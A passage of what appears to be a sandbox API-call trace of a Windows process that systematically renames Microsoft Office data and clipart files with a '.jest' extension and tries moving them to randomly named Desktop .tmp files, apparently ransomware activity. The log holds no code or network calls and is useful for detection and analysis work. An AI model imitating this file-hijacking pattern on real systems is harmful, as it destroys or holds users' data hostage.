r6nkuccflx4mp_eadrgmfwz2cnj eqvhtzkborw_f2miexbqfr.tmp")) returned 0 [0170.534] GetLastError () returned 0x2 [0170.534] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml.jest")) returned 1 [0170.537] VarBstrFromR4 (in: fltIn=0x47945a0d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.1") returned 0x0 [0170.538] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr1uortu__jmnDPkeGHROoj69z67iYrUvw7U_oikzzP8NUFCeWsVqcm11h_mBcgGa4rFA-sWuMCQfkoWbySaPQsjiuhpmvvM.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr1uortu__jmndpkeghrooj69z67iyruvw7u_oikzzp8nufcewsvqcm11h_mbcgga4rfa-swumcqfkowbysapqsjiuhpmvvm.tmp")) returned 0 [0170.538] GetLastError () returned 0x2 [0170.539] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.539] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml.jest")) returned 1 [0170.541] VarBstrFromR4 (in: fltIn=0x47945a0d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.1") returned 0x0 [0170.542] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn105.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H6lBWAzPzrl-Lei69vdyA2T3L1pR4WaGK8nx86OH-GLKMECj5qQ6qFcv8S5jou8GWYzuQJB5umcKVyqD _X VwxvuBk9ZUgshvWZa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h6lbwazpzrl-lei69vdya2t3l1pr4wagk8nx86oh-glkmecj5qq6qfcv8s5jou8gwyzuqjb5umckvyqd _x vwxvubk9zugshvwza.tmp")) returned 0 [0170.542] GetLastError () returned 0x2 [0170.543] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml.jest")) returned 1 [0170.545] VarBstrFromR4 (in: fltIn=0x47945a0d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.1") returned 0x0 [0170.546] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn108.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZbqY60EfnMgCdHBopNgI3pLs ChjdpABC0psnVwTG773yliCWR6ks-sdeq3tW3N4OoMf54Gch9dNwR6rtD9nvYsDjvtEYKB3z Gw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbqy60efnmgcdhbopngi3pls chjdpabc0psnvwtg773ylicwr6ks-sdeq3tw3n4oomf54gch9dnwr6rtd9nvysdjvteykb3z gw.tmp")) returned 0 [0170.546] GetLastError () returned 0x2 [0170.546] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="͜\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.547] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml.jest")) returned 1 [0170.550] VarBstrFromR4 (in: fltIn=0x47945a0f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.12") returned 0x0 [0170.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn111.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UdRRD l4wg5XLLoHZc4U1FEcUIxbXYayhai4VK27n95AALkRyNGKhO4IIpP4EGrL5RRymkryjVw7BrKehpTaZFjV80wz0wBRuB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\udrrd l4wg5xllohzc4u1fecuixbxyayhai4vk27n95aalkryngkho4iipp4egrl5rrymkryjvw7brkehptazfjv80wz0wbrub.tmp")) returned 0 [0170.551] GetLastError () returned 0x2 [0170.551] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.552] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg.jest")) returned 1 [0170.555] VarBstrFromR4 (in: fltIn=0x47945a0f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.12") returned 0x0 [0170.555] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01046J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01046j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\A P12e_P8o0eZZTHv64X0e9ZsnCL-dwCp7pSwDeODiM OlkdhLRGHs_iTjYI3GiKIDm6UIl4NJZRAtEy5_arxZQMEL1C9DanJdQB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\a p12e_p8o0ezzthv64x0e9zsncl-dwcp7pswdeodim olkdhlrghs_itjyi3gikidm6uil4njzratey5_arxzqmel1c9danjdqb.tmp")) returned 0 [0170.556] GetLastError () returned 0x2 [0170.556] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg.jest")) returned 1 [0170.559] VarBstrFromR4 (in: fltIn=0x47945a0f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.12") returned 0x0 [0170.560] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01213K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01213k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\U9_J938nno3Cpa1Htl993aE3-h86aJVm6h95YZcnqXIpBEX5TbtjoKCO5u-ykBmknmZnAcZespT1j5Mt2MU8wfj0ZngchsU47AK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u9_j938nno3cpa1htl993ae3-h86ajvm6h95yzcnqxipbex5tbtjokco5u-ykbmknmznaczespt1j5mt2mu8wfj0zngchsu47ak.tmp")) returned 0 [0170.560] GetLastError () returned 0x2 [0170.560] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.jest")) returned 1 [0170.563] VarBstrFromR4 (in: fltIn=0x47945a0f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.12") returned 0x0 [0170.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vftr6H-iNlGBpxHNxzG60_9WAYDEb8fNX5CqGjZUyWH5HlcNMmsXi4N2HKhCvYO5TyJPMV2le6sJWE1omOyELCG9iCU4-bdTwDtl1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vftr6h-inlgbpxhnxzg60_9waydeb8fnx5cqgjzuywh5hlcnmmsxi4n2hkhcvyo5tyjpmv2le6sjwe1omoyelcg9icu4-bdtwdtl1.tmp")) returned 0 [0170.567] GetLastError () returned 0x2 [0170.568] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.568] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg.jest")) returned 1 [0170.571] VarBstrFromR4 (in: fltIn=0x47945a11, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.13") returned 0x0 [0170.572] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02053j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aPxVrfqEFlDvufQdgqCFOrXUvYwKtI35TNqF2sT-fwl R93YcA4WmgvCn7u_ZoEUkNTTXFys4dgwTgCRFvsiRab1EsWQLYaVzg9lW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\apxvrfqefldvufqdgqcforxuvywkti35tnqf2st-fwl r93yca4wmgvcn7u_zoeuknttxfys4dgwtgcrfvsirab1eswqlyavzg9lw.tmp")) returned 0 [0170.572] GetLastError () returned 0x2 [0170.573] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg.jest")) returned 1 [0170.576] VarBstrFromR4 (in: fltIn=0x47945a11, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.13") returned 0x0 [0170.577] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02069J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02069j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dDhswQpdgpUuXaVOiL4CEpDzsvotL7nV0Vv0b4v9n 75ferhSBDVVcjM5OwcK-YwBmhTlHg2HNRgi6iYSpO8Vw68Arq8oUw NF2G.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ddhswqpdgpuuxavoil4cepdzsvotl7nv0vv0b4v9n 75ferhsbdvvcjm5owck-ywbmhtlhg2hnrgi6iyspo8vw68arq8ouw nf2g.tmp")) returned 0 [0170.577] GetLastError () returned 0x2 [0170.578] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.579] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.jest")) returned 1 [0170.583] VarBstrFromR4 (in: fltIn=0x47945a13, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.15") returned 0x0 [0170.584] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E6q6Ivl Vv3Mn7cjRFdLlgRkTvOGHysdBAIRZcl7F4UzeAeUPKW48O3ZJKtHzb6rym9ujNEajY0Fh1oZZrFJ2 PvYjxhuSELv-GZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e6q6ivl vv3mn7cjrfdllgrktvoghysdbairzcl7f4uzeaeupkw48o3zjkthzb6rym9ujneajy0fh1ozzrfj2 pvyjxhuselv-gz.tmp")) returned 0 [0170.584] GetLastError () returned 0x2 [0170.585] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.586] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg.jest")) returned 1 [0170.589] VarBstrFromR4 (in: fltIn=0x47945a13, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.15") returned 0x0 [0170.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02810j.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K183X4b-HMfNtq9YDUcwc1pnYgG c-JEGlggW3R0011jvPxg2rwYYOPKIMcNS551xS7PYV7CgSrT3dCcxtjq0FtwL2uz_eC-Gdt3e.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k183x4b-hmfntq9yducwc1pnygg c-jeglggw3r0011jvpxg2rwyyopkimcns551xs7pyv7cgsrt3dccxtjq0ftwl2uz_ec-gdt3e.tmp")) returned 0 [0170.590] GetLastError () returned 0x2 [0170.591] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.592] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg.jest")) returned 1 [0170.594] VarBstrFromR4 (in: fltIn=0x47945a13, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.15") returned 0x0 [0170.595] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BHBBFy1_TWpZyBTZ2uth-UoAbFQL5mWXjBzDxk2bGEh-vSmmSCzE0Iff9r9AN20YEq_fZp g6SYS55NefN98VOnDyevYcw2Su.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bhbbfy1_twpzybtz2uth-uoabfql5mwxjbzdxk2bgeh-vsmmscze0iff9r9an20yeq_fzp g6sys55nefn98vondyevycw2su.tmp")) returned 0 [0170.595] GetLastError () returned 0x2 [0170.596] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.596] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg.jest")) returned 1 [0170.601] VarBstrFromR4 (in: fltIn=0x47945a15, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.16") returned 0x0 [0170.602] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iyQFoS0daMUfYh0SkoydUpH03I2u3MD7d4-jBzCcNINeSvtCgDrEgN9WYELk--c xAH4uzoA53tJC3J3zCqxoXYl0Ece2bFsSrqsb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iyqfos0damufyh0skoyduph03i2u3md7d4-jbzccninesvtcgdregn9wyelk--c xah4uzoa53tjc3j3zcqxoxyl0ece2bfssrqsb.tmp")) returned 0 [0170.602] GetLastError () returned 0x2 [0170.602] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.603] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg.jest")) returned 1 [0170.605] VarBstrFromR4 (in: fltIn=0x47945a15, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.16") returned 0x0 [0170.606] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03205I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03205i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GPwHqjBTprIXOVYc--cyyLZ8axhPbEScr0PVESUs24euhRdjDqzjtoZkTO-gVGnTBVPeBJ-2F__OefBvxLit QojAFn6zi0MvRVC.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gpwhqjbtprixovyc--cyylz8axhpbescr0pvesus24euhrdjdqzjtozkto-gvgntbvpebj-2f__oefbvxlit qojafn6zi0mvrvc.tmp")) returned 0 [0170.606] GetLastError () returned 0x2 [0170.607] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.607] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.jest")) returned 1 [0170.610] VarBstrFromR4 (in: fltIn=0x47945a15, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.16") returned 0x0 [0170.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R oHb-SKrjBwmhVkV2_zOS1gnFVHHcKzBcoi0RYgiqXVNDB fqhQ9wo2lyuDVbR3kmWSf_3yGMfReZJB_g-TbgyZsuiUSihw7Jf5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r ohb-skrjbwmhvkv2_zos1gnfvhhckzbcoi0rygiqxvndb fqhq9wo2lyudvbr3kmwsf_3ygmfrezjb_g-tbgyzsuiusihw7jf5.tmp")) returned 0 [0170.611] GetLastError () returned 0x2 [0170.611] 